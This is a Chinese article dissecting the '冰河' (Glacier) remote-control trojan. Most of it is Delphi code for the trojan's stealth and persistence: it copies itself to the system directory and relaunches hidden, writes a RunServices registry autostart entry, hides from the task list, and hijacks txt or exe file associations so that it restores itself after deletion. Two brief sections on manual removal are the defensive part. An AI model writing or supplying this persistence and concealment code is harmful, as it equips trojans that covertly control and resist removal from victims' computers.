在杂志和报刊上,时常能看到关于“冰河”远程控制软件原理的文章,但坦白说,大多数内容只是凑字数,技术含量几乎为零。一气之下,我决定自己写一篇专业解析。事先声明:本文对“冰河”的作者并无任何不敬,恰恰相反,作者乐于帮助初学者的态度值得每个人学习。本文纯粹交流编程经验,别无他意。另外,在某些领域,我们宁可让克制力压过好奇心,也不去当打开潘多拉盒子的先知——所以更极端的方法这里不提,以后也不会提。
一、程序安装
这类远程管理软件通常需要隐藏自身运行,常见手段有几种:自我拷贝法、资源文件法、网页方式安装、类病毒捆绑法(比如YAI)。自我拷贝法适合单个文件,资源文件法能同时安装多个文件,网页方式安装需要先向微软购买安全证书,类病毒捆绑法直接借鉴了病毒思路。这里只讲解自我拷贝法,其他方法不再展开。
1. 自我拷贝法
基本原理:程序运行时先检查自己是否位于特定目录下,如果是则继续执行,否则将自己复制到目标目录,然后启动新副本,再退出旧进程。
用Delphi新建工程,在窗口的Create事件中写入以下代码:
procedure TFORM1.FORMCreate(Sender: TObject);
var
myname: string;
begin
myname := ExtractFilename(Application.Exename);
if application.Exename <> GetWindir + myname then
begin
CopyFile(pchar(application.Exename), pchar(GetWindir + myname), False);
Winexec(pchar(GetWindir + myname), sw_hide);
application.Terminate;
end;
end;
其中GetWinDir是自定义函数,用于获取Windows\System路径:
function GetWinDir: String;
var
Buf: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)] <> '\' then
Result := Result + '\';
end;
为了避免同时运行多个副本(节省系统资源),程序通常会限制只允许一个实例运行。有两种常见实现方式:
方法一:启动时查找同名窗口,如果存在则立即退出。修改dpr项目文件:
begin
Application.Initialize;
if FindWindow('TFORM1', 'FORM1') = 0 then
begin
Application.ShowMainFORM := False;
Application.CreateFORM(TFORM1, FORM1);
Application.Run;
end;
end.
方法二:启动时通过窗口名判断是否已在运行,如果是则关闭旧进程再启动新进程。“冰河”采用的就是这种方法,好处是便于升级——新版本能自动覆盖旧版本。具体实现:修改dpr项目文件,在uses中加入Forms、Windows、Messages等单元。
为了让程序随Windows系统自启动,有六种途径可选。“冰河”选择了注册表方式。在uses中加入Registry单元,改写Create事件:
procedure TFORM1.FORMCreate(Sender: TObject);
const
K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
var
myname: string;
begin
myname := ExtractFilename(Application.Exename);
if application.Exename <> GetWindir + myname then
begin
CopyFile(pchar(application.Exename), pchar(GetWindir + myname), False);
Winexec(pchar(GetWindir + myname), sw_hide);
application.Terminate;
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey(K, TRUE);
WriteString('syspler', application.ExeName);
finally
free;
end;
end;
为了让程序在Ctrl+Alt+Del列表中不可见,需要在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
然后在Create事件中调用:RegisterServiceProcess(GetCurrentProcessID, 1);
启示1:中了“冰河”后,如果对方设置了密码导致无法直接卸载,可以先找出对应文件,自己配置一个没有密码的版本运行,它会自动覆盖掉有密码的旧版本,然后就能用卸载功能轻松清除。如果会编程,也可以自己编写“清除器”——先查找窗口名,发送退出命令,再删除文件即可。
二、自我恢复与文件关联
“冰河”的自我保护能力很强,它通常通过Txt或Exe文件关联来实现自动恢复。很多人明明把文件删除了,重启后它又回来了。下面以Txt文件关联为例进行讲解。
在Delphi中新建工程,窗口Create事件代码:
uses Registry;
procedure TFORM1.FORMCreate(Sender: TObject);
const
Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
K = '\txtfile\shell\open\command';
var
sFileName: string;
begin
// 写注册表,让程序与文本文件关联
with TRegistry.Create do
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey(K, TRUE);
WriteString('', application.ExeName + ' "%1" ');
finally
free;
end;
// 写注册表,每次启动时自动运行
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey(Kkk, TRUE);
WriteString('myTray', application.ExeName);
finally
free;
end;
// 如果文件已被删除,则从资源文件恢复
if FileExists(pchar(Getwindir + 'Sysplay.exe')) = false then
begin
copyfile; // 自定义拷贝资源文件过程
winexec(pchar(Getwindir + 'Sysplay.exe'), sw_hide);
end;
// 如果有执行参数传入,用记事本打开
if ParamCount > 0 then
begin
sFileName := ParamStr(1);
winexec(pchar('Notepad.exe ' + sFileName), sw_show);
end;
application.Terminate;
end;
如果要改为与Exe文件关联,只需将常量 K = '\txtfile\shell\open\command' 改为 K = '\exefile\shell\open\command',并将 winexec(pchar('Notepad.exe ' + sFileName), sw_show); 改为 winexec(pchar(sFileName), sw_show);。当然,还得加入退出Windows时调用的Rundll32.dll,否则关联Exe文件后会导致无法退出系统。
启示2:手工删除“冰河”时,必须同时破坏它的保护机制。如果关联的是文本文件,先改注册表取消自动运行,重启后不要打开任何文本文件,立刻进入安装目录删除文件。如果关联的是Exe文件,那就只能回到DOS下删除了。切记:两个文件(主程序和备份文件)必须同时删除,否则重启后又会恢复。
